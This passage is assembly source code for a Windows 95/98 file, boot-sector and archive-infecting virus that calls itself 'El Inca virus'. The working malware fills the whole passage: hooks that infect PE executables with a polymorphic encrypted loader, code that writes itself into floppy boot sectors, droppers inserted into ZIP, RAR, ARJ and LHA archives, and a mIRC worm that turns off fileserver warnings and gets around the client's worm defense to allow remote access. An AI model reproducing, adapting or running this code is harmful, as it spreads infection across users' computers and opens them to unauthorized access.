jc ErrorDone ;autopen vxd + mov ebx, eax + mov eax, R0_GETFILESIZE + VxDCall IFSMgr_Ring0_FileIO + jc ErrorDone + mov [VxDOriginalSize], ax + mov [VxDSize2], ax + mov ecx, eax + call AllocMemory ;alloc some memory and read + jz ErrorDone ;our vxd to this buffer + mov [BufferOneHandle], eax + mov esi, eax + mov eax, R0_READFILE + xor edx, edx + VxDCall IFSMgr_Ring0_FileIO + jnc NoError + ErrorFreeBlock: + mov eax, [BufferOneHandle] + call DeAllocMemory + jmp ErrorDone + NoError: + mov eax, R0_CLOSEFILE + VxDCall IFSMgr_Ring0_FileIO + mov ecx, (512*18)*2 + call AllocMemory + jz ErrorDone + mov [BufferTwoHandle], eax + mov esi, [BufferOneHandle] + mov edi, eax + mov [VxDCompressedBuffer], edi + call Compress32 ;compress VXD using a simple + mov [VxDCompressSize], cx ;RLE scheme + mov [VxDCompressedSize], ecx + mov [VxDSize1], cx + mov esi, [BufferOneHandle] + push esi + mov byte ptr [maq], 0 + call gldr ;make poly boot (16bit) + pop ecx + xchg ecx, edi + sub ecx, edi + mov [PolyBootSize], ecx + mov edx, [BufferOneHandle] + push HEAPNOCOPY + push ecx + push edx + VMMCall _HeapReAllocate ;set buffer to right size + add esp, 12 + mov [PolyBootBuffer], eax + mov ecx, 20000 + call AllocMemory + jz ErrorDone + mov esi, eax + push eax + mov byte ptr [maq], -1 + call gldr ;generate file poly (16bit) + mov ah, byte ptr [key] + mov esi, offset32 Loader + mov ecx, LoaderSize + DosEncriptLoop: + lodsb + xor al, ah + stosb + loop DosEncriptLoop ;encript loader + mov esi, [VxDCompressedBuffer] + mov ecx, [VxDCompressedSize] + DosEncriptLoop2: + lodsb + xor al, ah + stosb + loop DosEncriptLoop2 ;zopy and encript vxd + pop ecx + mov edx, ecx + xchg ecx, edi + sub ecx, edi + mov [PolyDOSFileSize], ecx + mov [PEDOSSize], ecx + push HEAPNOCOPY + push ecx + push edx + VMMCall _HeapReAllocate + add esp, 12 + mov [PolyDOSFileBuffer], eax + mov ecx, 40000 + call AllocMemory + jz ErrorDone + mov edi, eax + mov ecx, [PolyDOSFileSize] + add ecx, PELoaderSize + call peng ;make our cool PE poly (32bit) + push HEAPNOCOPY + mov [PolyPESize], ecx + push ecx + push edx + VMMCall _HeapReAllocate + add esp, 12 + mov [PolyPEBuffer], eax + InstallAPIHook: + mov eax, offset32 FONO98_File_System + push eax ;install our file hook + VxDCall IFSMgr_InstallFileSystemApiHook + add esp, 4 + mov [NextHook], eax + InstallV86Hook: + mov eax, 13h ;install our disk hook + mov esi, offset32 FONO98_Disk_System + VMMCall Hook_V86_Int_Chain + clc + db 0b0h ;from here, is a mov al, xx + ErrorDone: + db 0fdh ;from here, is a stc ;) + ret +EndProc FONO98_Device_Init + + + +BeginProc FONO98_Disk_System + pushad + cmp [FloppyInUse], 0 + jne Exit13Error ;dont reenter + inc [FloppyInUse] + cmp [OurFile], 0 ;we're infecting? + jnz Exit13 + movzx eax, word ptr [ebp.Client_AX] + movzx ecx, word ptr [ebp.Client_CX] + movzx edx, word ptr [ebp.Client_DX] + cmp ax, 201h + jne Exit13 + cmp cx, 1 + jne Exit13 + or dx, dx + jnz Exit13 ;if not floppy boot, exit + InfectBoot: + mov ebx, offset32 SectorBuffer + VxDInt 13h + jc Exit13 + mov ax, word ptr [ebx] + cmp al, 0ebh ;if sector dont start with a + jne Exit13 ;short jump, bail out + movzx eax, ah + lea eax, [ebx+eax+2] ;calculate destination of + cmp word ptr [ebx+1feh], 0aa55h ;jump(to insert out code) + jne Exit13 + cmp word ptr [ebx.bpb_t_s], 2880 ;is a valid 1.44 floppy? + jne Exit13 + sub word ptr [ebx.bpb_t_s], 18*2 ;steal 36 sectorz + push eax + mov ecx, [PolyBootSize] + add eax, ecx + sub eax, ebx + cmp eax, 510 + pop edi + jae Exit13 ;will our code use more space + mov esi, [PolyBootBuffer] ;than we have? + rep movsb + mov eax, 301h ;write our cool boot sector + inc ecx + VxDInt 13h + jc Exit13 + mov eax, 312h + sub edx, edx + mov ecx, 4f01h + mov ebx, [VxDCompressedBuffer] + VxDInt 13h ;write first part of compressed + jc Exit13 ;VXD + mov eax, 312h + mov edx, 100h + mov ecx, 4f01h + mov ebx, [VxDCompressedBuffer] + add ebx, 512*18 ;write the second part of it + VxDInt 13h + jc Exit13 + mov eax, 0302h + mov edx, 0100h + mov ecx, 000fh ;write loader to the end of the + mov ebx, offset32 BootLoader ;root directory + VxDInt 13h + jc Exit13 + Exit13: + mov [FloppyInUse], 0 + Exit13Error: + popad + stc ;service not finished + ret +EndProc FONO98_Disk_System + + + +BeginProc FONO98_File_System, High_Freq + push ebp + mov ebp, esp + sub esp, 20h + cmp [ebp+12], IFSFN_Open + jne ExitNow ;only hook FileOpenz + WeAreUsingAPI: + cmp [OurFile], 0 + jnz ExitNow ;recursive? + inc [OurFile] + GetPlainName: + pushad + mov ebx, offset32 FileName + mov eax, [ebp+16] + cmp al, -1 + je NoDrive + add al, "@" + mov byte ptr [ebx], al ;if drive specificated, + inc ebx ;get it + mov byte ptr [ebx], ":" + inc ebx + NoDrive: + push BCS_WANSI + push 255 + mov eax, [ebp+28] + mov eax, [eax+0ch] + add eax, 4 + push eax + push ebx + VxDCall UniToBCSPAth ;make UNICODE a ASCII in our + add sp, 16 ;buffer + mov esi, ebx + add esi, eax + sub ebx, 2 + mov byte ptr [esi], 0 + push esi + mov eax, R0_FILEATTRIBUTES+GET_ATTRIBUTES + mov esi, offset32 FileName + VxDCall IFSMgr_Ring0_FileIO + mov [FileAttr], ecx ;save attributes + jc ExitCorrect + mov eax, R0_FILEATTRIBUTES+SET_ATTRIBUTES + xor ecx, ecx + mov esi, offset32 FileName + VxDCall IFSMgr_Ring0_FileIO ;kill attributes + pop esi + cmp dword ptr [esi-8], '23CR' + jne NomIRC ;we're opening MIRC32.EXE?? + cmp word ptr [esi-10], 'IM' + jne NomIRC + cmp dword ptr [esi-4], 'EXE.' + jne NomIRC + DropWorm: + pushad + mov eax, R0_OPENCREAT_IN_CONTEXT + mov ebx, 2 + mov cx, 01b + mov edx, 11h + mov esi, offset32 Killer ;create our payload file + VxDCall IFSMgr_Ring0_FileIO + mov ebx, eax + jc ErrorWorm + mov eax, R0_WRITEFILE + mov esi, offset32 KCode ;write payload code to it + mov ecx, KCodeSize + sub edx, edx + VxDCall IFSMgr_Ring0_FileIO + mov eax, R0_CLOSEFILE + VxDCall IFSMgr_Ring0_FileIO ;close it + mov eax, R0_OPENCREAT_IN_CONTEXT + mov ebx, 2 + xor cx, cx + mov edx, 11h + mov esi, offset32 MircIni ;open MIRC.INI + VxDCall IFSMgr_Ring0_FileIO + mov ebx, eax + jc ErrorWorm + mov eax, R0_GETFILESIZE + VxDCall IFSMgr_Ring0_FileIO + jc ErrorWorm + mov edx, eax + mov eax, R0_WRITEFILE + mov esi, offset32 IMircIni ;set /FSERVER warnings off, so + mov ecx, InsertSize ;we can access this machine + VxDCall IFSMgr_Ring0_FileIO ;with impunity ;) + jc ErrorWorm + mov eax, R0_CLOSEFILE + VxDCall IFSMgr_Ring0_FileIO + mov eax, R0_OPENCREAT_IN_CONTEXT + mov ebx, 2 + mov ecx, 01b + mov edx, 11h + mov esi, offset32 ScriptName2 ;create SCRIPT.NOT, to avoid + VxDCall IFSMgr_Ring0_FileIO ;build-in worm defense in + jc ErrorWorm ;mIRC + mov ebx, eax + mov eax, R0_CLOSEFILE + VxDCall IFSMgr_Ring0_FileIO + mov eax, R0_OPENCREAT_IN_CONTEXT + mov ebx, 2 + mov ecx, 01b + mov edx, 11h ;create SCRIPT.INI + mov esi, offset32 ScriptName + VxDCall IFSMgr_Ring0_FileIO + jc ErrorWorm + mov ebx, eax + mov eax, R0_WRITEFILE + xor edx, edx + mov esi, offset32 ScriptIni ;write our inet spreading worm + mov ecx, ScriptSize ;and get ready to travel! :) + VxDCall IFSMgr_Ring0_FileIO + mov eax, R0_CLOSEFILE + VxDCall IFSMgr_Ring0_FileIO + mov eax, R0_OPENCREAT_IN_CONTEXT + mov ebx, 2 + mov ecx, 01b + mov edx, 11h + mov esi, offset32 IncaName ;create virus dropper for inet + VxDCall IFSMgr_Ring0_FileIO ;spreading + jc ErrorWorm + mov ebx, eax + mov eax, R0_WRITEFILE + xor edx, edx + mov esi, [PolyDOSFileBuffer] + mov ecx, [PolyDOSFileSize] + VxDCall IFSMgr_Ring0_FileIO ;write dropper code + mov eax, R0_CLOSEFILE + VxDCall IFSMgr_Ring0_FileIO ;close it + ErrorWorm: + popad + NomIRC: + mov eax, dword ptr [esi-4] + not eax ;get extension(with little + cmp eax, not 'AHL.' ;encription to avoid lamerz) + je LHAInfect + cmp eax, not 'HZL.' + je LHAInfect + cmp eax, not 'KAP.' + je LHAInfect + cmp eax, not 'PIZ.' ;if archivers, go drop virus + je InfectZIP + cmp eax, not 'JRA.' + je InfectARJ + cmp eax, not 'RAR.' + je InfectRAR + cmp eax, not 'RCS.' + je InfectExecutableFile + cmp eax, not 'EXE.' ;if EXE or SCR, check for PE + jne ExitUnmark + + InfectExecutableFile: + mov eax, R0_OPENCREATFILE + mov ebx, 2 + xor cx, cx + mov edx, 11h + mov esi, offset32 FileName + VxDCall IFSMgr_Ring0_FileIO ;open probable host + mov [FileHandle], eax + jc ExitUnmark + mov ebx, eax + mov eax, R0_GETFILESIZE + VxDCall IFSMgr_Ring0_FileIO + jc ExitClose + mov [FileSize], eax + cmp eax, MINSIZEINFECT + jb ExitClose ;if too small, exit + mov eax, R0_READFILE + mov esi, offset32 CrcTab + mov ecx, 1024 + xor edx, edx + VxDCall IFSMgr_Ring0_FileIO + jc ExitClose + cmp word ptr [esi], 'ZM' + je NEPECheck + cmp word ptr [esi], 'MZ' + jne ExitClose ;must be a EXE file + + NEPECheck: + mov eax, [FileSize] + cmp dword ptr [esi+3ch], 0 + jz ExitClose + cmp dword ptr [esi+3ch], eax ;probable PE sign in range? + ja ExitClose + + InfectPE: + cmp [esi+3ch], 1024 + jae ExitClose + lea eax, [esi+3ch] + add esi, [eax] + cmp dword ptr [esi], 'EP' ;must be a PE file + jne ExitClose + mov eax, R0_CLOSEFILE + mov ebx, [FileHandle] + VxDCall IFSMgr_Ring0_FileIO ;ready to infect, close file + mov ebp, 32*1024 + call VxDMapFile ;map file in memory + jc ExitUnmark + call InfectPEFile ;infect it! + call VxDUnMapFile + jmp ExitUnmark ;unmap file + + ;this code goes inserted in + ;PE filez, after the poly + PELoader: ;decription routine + call set_SEH + mov esp, [esp+8] + jmp ReturnHost ;if a fault happen, jump host + set_SEH: + xor edx, edx ;setup a SEH for us + push dword ptr fs:[edx] + mov dword ptr fs:[edx], esp + call PEDelta + PEDelta: + pop ebp + sub ebp, (offset32 PEDelta-offset32 PELoader) + call AnaliseKernel32 ;get GetModuleHandleA and + jc ReturnHost ;GetProcAddressA from kernel32 + ;export table + lea esi, [ebp+(offset32 NamePtr-offset32 PELoader)] + lea edi, [ebp+(offset32 FAdress-offset32 PELoader)] + cld + GetFunctionAdress: + lodsd + or eax, eax + jz EndTable + add eax, ebp + call MyGetProcAdress ;get RVA of all functionz we + jc ReturnHost ;need + stosd + jmp GetFunctionAdress + EndTable: + sub eax, eax + push eax + push 010b + push 2 ;create W95INCA.COM in root + push eax ;dir + push 3 + push 80000000h+40000000h + lea eax, [ebp+(offset32 PEName-offset32 PELoader)] + push eax + call dword ptr [ebp+(offset32 _CreateFile-offset32 PELoader)] + mov ebx, eax + inc eax + jz ReturnHost + push 0 + lea eax, [ebp+(offset32 nWrite-offset32 PELoader)] + push eax + mov eax, 12345678h + PEDOSSize equ dword ptr $-4 + push eax + mov eax, ebp + add eax, offset32 PELoaderSize ;write the DOS dropper in it + push eax + push ebx + call dword ptr [ebp+(offset32 _WriteFile-offset32 PELoader)] + push ebx ;close the file + call dword ptr [ebp+(offset32 _CloseHandle-offset32 PELoader)] + push 0 + lea eax, [ebp+(offset32 PEName-offset32 PELoader)] + push eax ;f0rk DOS process + call dword ptr [ebp+(offset32 _WinExec-offset32 PELoader)] + push 3000 ;have 3 seconds to run + call dword ptr [ebp+(offset32 _Sleep-offset32 PELoader)] + lea eax, [ebp+(offset32 PEName-offset32 PELoader)] + push eax ;delete the dropper + call dword ptr [ebp+(offset32 _DeleteFile-offset32 PELoader)] + ReturnHost: + xor edx, edx + pop dword ptr fs:[edx] + pop edx + mov eax, 12345678h ;set base + LoadBase equ dword ptr $-4 + add eax, 12345678h + OldIP equ dword ptr $-4 ;add host entry_point + push eax + ret + + AnaliseKernel32: + mov edx, 0bff70000h ;base of KERNEL32 in win95/98 + mov eax, edx + mov ebx, eax + add eax, [eax+3ch] + add ebx, [eax+120] + lea eax, [ebp+(offset32 gmh-offset32 PELoader)] + ;string is 17 bytes long + mov [ebp+(offset32 szSearch-offset32 PELoader)], 17 + ;and setup pointer + mov [ebp+(offset32 strSearch-offset32 PELoader)], eax + call SearchET ;search export tabel for it + jc a_error + mov dword ptr [ebp+(offset32 pGetModuleHandle-offset32 PELoader)], eax + lea eax, [ebp+(offset32 gpa-offset32 PELoader)] + ;string is 15 bytes long + mov [ebp+(offset32 szSearch-offset32 PELoader)], 15 + ;and setup pointer + mov [ebp+(offset32 strSearch-offset32 PELoader)], eax + call SearchET + jc a_error + mov dword ptr [ebp+(offset32 pGetProcAdress-offset32 PELoader)], eax + lea eax, [ebp+(offset32 kernel-offset32 PELoader)] + push eax + mov eax, [ebp+(offset32 pGetModuleHandle-offset32 PELoader)] + call eax ;get KERNEL32 module + mov dword ptr [ebp+(offset32 pKernel32Adress-offset32 PELoader)], eax + a_error: + ret + + MyGetProcAdress: + push eax + push dword ptr [ebp+(offset32 pKernel32Adress-offset32 PELoader)] + mov eax, [ebp+(offset32 pGetProcAdress-offset32 PELoader)] + call eax + or eax, eax ;call GetProcAddress to get + jz GPAError ;all RVA we need + test al, 12h + org $-1 ;the good'n'old trick again ;) + GPAError: + stc + ret + + SearchET: + mov eax, [ebx+32] ;search export table of + add eax, edx ;KERNEL32, searching the + ff: + mov esi, [eax] ;the names, then the ordinal + or esi, esi ;and, finally the RVA pointerz + jz fuck + add esi, edx + mov edi, 12345678h + strSearch equ dword ptr $-4 + mov ecx, 12345678h + szSearch equ dword ptr $-4 + rep cmpsb + jz found + add eax, 4 + jmp ff + found: + sub eax, [ebx+32] + sub eax, edx + shr eax, 1 + add eax, [ebx+36] + add eax, edx + movzx eax, word ptr [eax] + shl eax, 2 + add eax, [ebx+28] + add eax, edx + mov eax, [eax] + add eax, edx + mov cl, 12h + org $-1 + fuck: + stc + ret + +kernel db 'KERNEL32', 0 + +nWrite dd 0 + +pGetProcAdress dd 0 +pGetModuleHandle dd 0 +pKernel32Adress dd 0bff70000h + +gpa db 'GetProcAddress', 0 +gmh db 'GetModuleHandleA', 0 + +sCreateFile db 'CreateFileA', 0 +sWriteFile db 'WriteFile', 0 +sCloseHandle db 'CloseHandle', 0 +sWinExec db 'WinExec', 0 +sDeleteFile db 'DeleteFileA', 0 +sSleep db 'Sleep', 0 + +NamePtr equ this byte + dd (offset32 sCreateFile-offset32 PELoader) + dd (offset32 sWriteFile-offset32 PELoader) + dd (offset32 sCloseHandle-offset32 PELoader) + dd (offset32 sWinExec-offset32 PELoader) + dd (offset32 sDeleteFile-offset32 PELoader) + dd (offset32 sSleep-offset32 PELoader) + dd 0 + +PEName db 'C:\W95INCA.COM', 0 + +FAdress equ this byte +_CreateFile dd 0 +_WriteFile dd 0 +_CloseHandle dd 0 +_WinExec dd 0 +_DeleteFile dd 0 +_Sleep dd 0 + +PELoaderEnd equ this byte + +PELoaderSize equ offset32 PELoaderEnd - offset32 PELoader + + + InfectPEFile: + mov ebp, [esi+3ch] ;esi point to maped base + add ebp, esi ;ebp point to PE header + mov eax, 12345678h + cmp dword ptr [ebp+58h], eax ;is already infected? + mov dword ptr [ebp+58h], eax + je PE_done + mov eax, dword ptr [ebp+52] + cmp eax, 400000h ;normal base for appz + mov [LoadBase], eax + jne PE_done + movzx eax, word ptr [ebp+4h] + test eax, 2000h ;not infect DLL + jnz PE_done + movzx ecx, word ptr [ebp+6] ;numba of sectionz + mov eax, 40 + sub edx, edx + mul ecx + add eax, ebp + add eax, 24 + movzx ecx, word ptr [ebp+20] ;header size + add eax, ecx + mov edi, eax ;edi point to free entry + mov edx, eax + mov ecx, 40 + sub eax, eax + repz scasb ;is really a free entry? + jnz PE_done + inc word ptr [ebp+6] ;inc number of sectionz + call rnd ;make new name + and eax, 11b + add eax, 4 + mov ecx, eax + mov edi, edx + mName: + call rnd ;random letter for a random + and eax, 01111b ;name + add al, 'A' + stosb + loop mName + mov edi, edx + mov dword ptr [edi+36], 0e0000040h ;set section attribz + mov eax, [edi-40+12] ;prev virtual address + add eax, [edi-40+08] ;prev virtual size + call ObjAlign + mov [edi+12], eax ;virtual address + mov eax, [edi-40+16] ;prev offset to data + add eax, [edi-40+20] ;prev size of data + call FileAlign + mov [edi+20], eax ;prev offset to data + push eax + mov eax, [PolyPESize] + add eax, [totsize] + push eax + call ObjAlign + mov [edi+8], eax + add [ebp+80], eax + pop eax + call FileAlign + mov [edi+16], eax + mov eax, [edi+12] + mov ebx, [ebp+28h] + mov [ebp+28h], eax + mov [OldIP], ebx + mov eax, [edi+20] + add eax, [edi+16] + mov [VMF_size], eax + pop edi + add edi, [VMF_base] + mov esi, [PolyPEBuffer] + mov ecx, [PolyPESize] + rep movsb ;zopy PE poly to end of file + mov ecx, 30000h + call AllocMemory + push eax + push edi + push eax + mov edi, eax + mov esi, offset32 PELoader ;copy the PE loader + mov ecx, PELoaderSize + rep movsb + mov esi, [PolyDOSFileBuffer] + mov ecx, [PolyDOSFileSize] + rep movsb ;and the DOS loader + pop esi + pop edi + call encript_pe ;encript virus code + pop eax + call DeAllocMemory + inc dword ptr [VMF_sucess] ;is infected! + PE_done: + ret + +ObjAlign: + mov ecx, [ebp+56] + jmp AlignThis +FileAlign: + mov ecx, [ebp+60] + AlignThis: + xor edx, edx + div ecx + or edx, edx + jz sAlign ;dont waste aligns when isnt + inc eax ;need + sAlign: + mul ecx + ret + + + LHAInfect: + bt [FileAttr], 0 + jc ExitUnmark ;if read-only, exit + call PreparateDropper ;(is our marker) + dec ebp + mov edi, offset32 LHAFilename + call Random4Name ;create random name + mov ecx, [PolyDOSFileSize] + mov [LHACompressedSize], ecx + mov [LHAUncompressedSize], ecx + mov eax, R0_READFILE + mov ecx, 2 + mov edx, 3 + mov esi, offset32 Pad + VxDCall IFSMgr_Ring0_FileIO + jc ExitFree + xor eax, eax + xchg word ptr [esi], ax + cmp ax, 'hl' + jne ExitFree ;is really a LHA/LHZ shit? + xor ebx, ebx + mov ecx, LHAHeaderSize-2 + mov esi, offset32 LHAMethod + CheckSumLoop: + lodsb + add bl, al + loop CheckSumLoop ;funny header checksum loop + mov [LHAHeaderCRC], bl + mov eax, R0_WRITEFILE + mov ebx, [FileHandle] + mov ecx, LHAHeaderSize + mov esi, offset32 LHASig + mov edx, ebp + add ebp, ecx + VxDCall IFSMgr_Ring0_FileIO + mov eax, R0_WRITEFILE + mov ecx, [PolyDOSFileSize] + mov edx, ebp + add ebp, ecx + mov esi, [BufferOneHandle] + VxDCall IFSMgr_Ring0_FileIO ;write it + mov eax, R0_WRITEFILE + mov ecx, 1 + mov edx, ebp + mov esi, offset32 Pad + VxDCall IFSMgr_Ring0_FileIO + jmp ExitRO + + InfectZIP: + bt [FileAttr], 0 + jc ExitUnmark + call PreparateDropper ;create dropper + mov [ZIPRCRC32], eax + mov [ZIPLCRC32], eax + mov ecx, [PolyDOSFileSize] + mov [ZIPRCompressed], ecx + mov [ZIPRUncompressed], ecx ;set some ZIP stuff + mov [ZIPLCompressed], ecx + mov [ZIPLUncompressed], ecx + mov edi, offset32 ZIPRFileName + call Random4Name ;random name + mov eax, dword ptr [ZIPRFileName] + mov dword ptr [ZIPLFilename], eax + mov eax, R0_READFILE + mov ecx, ZIPEHeaderSize + sub ebp, ecx + mov edx, ebp + mov esi, offset32 ZIPReadBuffer + VxDCall IFSMgr_Ring0_FileIO + jc ExitFree + cmp word ptr [ZIPEHeaderId], 'KP' ;is a ZIP marker + jne ExitFree + cmp word ptr [ZIPSignature], 0605h + jne ExitFree + cmp dword ptr [ZIPNoDisk], 0 + jnz ExitFree + inc word ptr [ZIPEntryDisk] + inc word ptr [ZIPEntrysDir] + add dword ptr [ZIPSizeDir], ZIPRHeaderSize + mov eax, [ZIPOffsetDir] + mov [ZIPROffsetLHeaderR], eax + mov ebp, eax + mov ecx, [ZIPSizeDir] + call AllocMemory + jz ExitFree + mov [BufferTwoHandle], eax + mov esi, eax + mov eax, R0_READFILE + mov ecx, [ZIPSizeDir] + mov edx, ebp + VxDCall IFSMgr_Ring0_FileIO ;read tonz of headers and + jc ExitDealloc ;write they back after + cld ;modificationz + mov ecx, ZIPRHeaderSize ;(ZIP really sux) + mov edi, [BufferTwoHandle] + add edi, [ZIPSizeDir] + sub edi, ecx + mov esi, offset32 ZIPRHeaderId + rep movsb + mov eax, R0_WRITEFILE + mov ecx, offset32 ZIPReadBuffer-offset32 ZIPLHeaderId + mov edx, ebp + add ebp, ecx + mov esi, offset32 ZIPLHeaderId + VxDCall IFSMgr_Ring0_FileIO + jc ExitDealloc + mov eax, R0_WRITEFILE + mov ecx, [PolyDOSFileSize] + mov edx, ebp + add ebp, ecx + mov [ZIPOffsetDir], ebp + mov esi, [BufferOneHandle] + VxDCall IFSMgr_Ring0_FileIO + jc ExitDealloc + mov eax, R0_WRITEFILE + mov ecx, [ZIPSizeDir] + mov edx, ebp + add ebp, ecx + mov esi, [BufferTwoHandle] + VxDCall IFSMgr_Ring0_FileIO + jc ExitDealloc + mov eax, R0_WRITEFILE + mov ecx, ZIPEHeaderSize + mov edx, ebp + mov esi, offset32 ZIPReadBuffer + VxDCall IFSMgr_Ring0_FileIO + ExitDealloc: + mov eax, [BufferTwoHandle] + call DeallocMemory + jmp ExitRO + + InfectRAR: + bt [FileAttr], 0 + jc ExitUnmark ;bahh... the same shit, but + call PreparateDropper ;this time for RAR + mov [RARFileCRC], eax + mov edi, offset32 RARFileName + call Random4Name + mov ecx, [PolyDOSFileSize] + mov [RARCompressedSize], ecx + mov [RARUncompressedSize], ecx + mov eax, R0_READFILE + mov ecx, 4 + xor edx, edx + mov esi, offset32 Pad + VxDCall IFSMgr_Ring0_FileIO + jc ExitFree + cmp [esi], '!raR' + jne ExitFree + mov esi, offset32 RARHeaderType + mov edi, offset32 RARHeaderEnd-offset32 RARHeaderType + call CRC32 + mov [RARHeaderCRC], cx + mov eax, R0_WRITEFILE + mov ecx, offset32 RARHeaderEnd-offset32 RARHeaderCRC + mov esi, offset32 RARHeaderCRC + mov edx, ebp + add ebp, ecx + VxDCall IFSMgr_Ring0_FileIO + mov eax, R0_WRITEFILE + mov ecx, [PolyDOSFileSize] + mov edx, ebp + mov esi, [BufferOneHandle] + VxDCall IFSMgr_Ring0_FileIO + jmp ExitRO + + InfectARJ: + bt [FileAttr], 0 + jc ExitUnmark + call PreparateDropper ;uhh... again for ARJ + sub ebp, 4 + mov [ARJFileCRC], eax ;(i only do this because there + mov edi, offset32 ARJFilename ;stupid peoples that run new + call Random4Name ;strange filez) + mov ecx, [PolyDOSFileSize] + mov [ARJCompressedSize], ecx + mov [ARJUncompressedSize], ecx + mov eax, R0_READFILE + mov ecx, 2 + xor edx, edx + mov esi, offset32 Pad + VxDCall IFSMgr_Ring0_FileIO + jc ExitFree + cmp word ptr [esi], 0ea60h + jne ExitFree + mov edi, offset32 ARJHeaderCRC-offset32 ARJ1HeaderSize + mov esi, offset32 ARJ1HeaderSize + call CRC32 + mov [ARJHeaderCRC], eax + mov eax, R0_WRITEFILE + mov ecx, offset32 ARJEnd-offset32 ARJHeaderId + mov esi, offset32 ARJHeaderId + mov edx, ebp + add ebp, ecx + VxDCall IFSMgr_Ring0_FileIO + jc ExitFree + mov eax, R0_WRITEFILE + mov ecx, [PolyDOSFileSize] + mov edx, ebp + add ebp, ecx + mov esi, [BufferOneHandle] + VxDCall IFSMgr_Ring0_FileIO + jc ExitFree + mov eax, R0_WRITEFILE + mov ecx, 4 + mov edx, ebp + mov esi, offset32 ARJEnd + VxDCall IFSMgr_Ring0_FileIO + + ExitRO: + or [FileAttr], 01b ;set inf marker(avoid lame + ExitFree: ;AVs like TBCLEAN, that cant + mov eax, [BufferOneHandle] ;clean r-o file) + call DeAllocMemory + ExitClose: + mov eax, R0_CLOSEFILE + mov ebx, [FileHandle] + VxDCall IFSMgr_Ring0_FileIO + ExitUnmark: + mov eax, R0_FILEATTRIBUTES+SET_ATTRIBUTES + mov ecx, [FileAttr] + mov esi, offset32 FileName + VxDCall IFSMgr_Ring0_FileIO ;restore attribz + popad + + ExitCorrect: + mov [OurFile], 0 + ExitNow: + mov eax, [ebp+28] + push eax + mov eax, [ebp+24] + push eax + mov eax, [ebp+20] + push eax + mov eax, [ebp+16] + push eax + mov eax, [ebp+12] + push eax + mov eax, [ebp+8] + push eax + mov eax, [nexthook] + call [eax] ;continue next caller + add esp, 20h + leave + ret +EndProc FONO98_File_System + + + db 13d, 'El Inca virus', 13d ;yeahh... this is the name + + +BeginProc PreparateDropper + mov eax, R0_OPENCREATFILE + mov ebx, 2 + xor cx, cx ;used for archivers infection + mov edx, 11h + mov esi, offset32 FileName + VxDCall IFSMgr_Ring0_FileIO + mov [FileHandle], eax ;here we get the size of file + mov ebx, eax ;copy some shitz and calculate + jc ExitUnmark ;crc16 and crc32 + mov eax, R0_GETFILESIZE + VxDCall IFSMgr_Ring0_FileIO + jc ExitClose + mov ebp, eax + cld + mov ecx, [PolyDOSFileSize] + call AllocMemory ;alloc memory for loader + jz ExitClose ;and vxd + mov [BufferOneHandle], eax + mov edi, eax + mov esi, [PolyDOSFileBuffer] + mov ecx, [PolyDOSFileSize] + push ecx + rep movsb ;zopi loader + pop ecx + push ecx + mov esi, [BufferOneHandle] + push esi + call CRC16 + mov [LHACRC16], ax ;only LHZ use crc16 + pop esi + pop edi + call CRC32 ;crc32 returned in eax for + ret ;otherz +EndProc PreparateDropper + + + +BeginProc VxDMapFile + mov eax, R0_OPENCREATFILE ;hey... i also have a map + mov ebx, 2 ;file function... ;) + xor ecx, ecx + mov [VMF_sucess], ecx + mov edx, 11h + mov esi, offset32 FileName + VxDCall IFSMgr_Ring0_FileIO + mov [VMF_handle], eax + jc VMF_ret + mov ebx, eax + mov eax, R0_GETFILESIZE + VxDCall IFSMgr_Ring0_FileIO + mov [VMF_size], eax + jc VMF_close + push eax + mov ecx, eax + add ecx, ebp ;alloc enought memory for + call AllocMemory ;file and workspace + mov [VMF_base], eax + mov esi, eax + pop ecx + jz VMF_close + mov eax, R0_READFILE + xor edx, edx ;map it out! + VxDCall IFSMgr_Ring0_FileIO + jc VMF_free + VMF_ret: + ret +EndProc VxDMapFile + + + +BeginProc VxDUnMapFile + mov ecx, 12345678h + VMF_sucess equ dword ptr $-4 + jecxz VMF_close ;should we update it? + mov eax, R0_WRITEFILE + mov ecx, [VMF_size] + sub edx, edx + mov ebx, [VMF_handle] + mov esi, [VMF_base] ;write infected PE + VxDCall IFSMgr_Ring0_FileIO + VMF_close: + mov eax, R0_CLOSEFILE + VxDCall IFSMgr_Ring0_FileIO ;close it + VMF_free: + mov eax, [VMF_base] + call DeAllocMemory ;free allocated memory + ret +EndProc VxDUnMapFile + + + +BeginProc AllocMemory + push ecx + push HEAPSWAP+HEAPZEROINIT + push ecx + VMMCall _HeapAllocate ;memory allocation routine + add sp, 8 + or eax, eax + pop ecx + ret +EndProc AllocMemory + + + +BeginProc DeAllocMemory + push 0 + push eax + VMMCall _HeapFree + add sp, 8 + ret +EndProc DeAllocMemory + + + +BeginProc CRC32 + cld + push ebx + mov ecx, -1 ;look at this!!!! + mov edx, ecx + NextByteCRC: + xor eax, eax ;our crc32 dont need huge + xor ebx, ebx ;tables or shit like... + lodsb + xor al, cl ;all calculated at runtime + mov cl, ch + mov ch, dl + mov dl, dh + mov dh, 8 + NextBitCRC: + shr bx, 1 + rcr ax, 1 + jnc NoCRC + xor ax, 08320h + xor bx, 0edb8h + NoCRC: + dec dh + jnz NextBitCRC + xor ecx, eax + xor edx, ebx + dec di + jnz NextByteCRC + not edx + not ecx + pop ebx + mov eax, edx + rol eax, 16 + mov ax, cx ;thx2zenghxi + ret +EndProc CRC32 + + VIRSIZE equ 4000H + +gldr: + cld ;our 16bit poly engine + mov [pDOSBase], esi ;designed for boot and dropperz + mov edi, offset32 rgtbl + sub edx, edx + mov ebx, edx + push edi + mov eax, edx + mov dword ptr [edi-4], eax + mov ecx, 8 + rep stosw ;init regz mirrors + pop edi + xchg esi, edi + mov byte ptr [opcode1], 0b8h + mov byte ptr [opcode2], 89h + mov word ptr [_sp], -1 + mov byte ptr [gtype], gfl + @a1: + mov ecx, 8 + call creg + call gopc + push edi + mov edi, esi + sub eax, eax + repnz scasw ;all regz initialized? + pop edi + jz @a1 + call rnd + and eax, 011111b + adc eax, 8 + mov ecx, eax + @a2: + call garble ;create some junk + loop @a2 + cmp byte ptr [maq], 0 + jne maqfile + mov eax, 00000202h ;floppy paramz + mov ebx, 0001000fh ;hi=reg + mov edx, 00020100h ;lo=value + mov ebp, 00037e00h + call mxrg ;mix order + mov byte ptr [gtype], gnf + push eax + push ebx + push edx + push ebp + mov ecx, 4 + @a8: + xor eax, eax + mov edx, eax + pop ax + pop dx + bts word ptr [rgusg], dx + call mrval + push ecx + call rnd + and eax, 0111b + inc eax + mov ecx, eax + @a9: + call garble ;garble a bit more + loop @a9 + pop ecx + loop @a8 + mov ax, 013cdh ;int 13 + stosw + mov byte ptr [gtype], gfl + mov word ptr 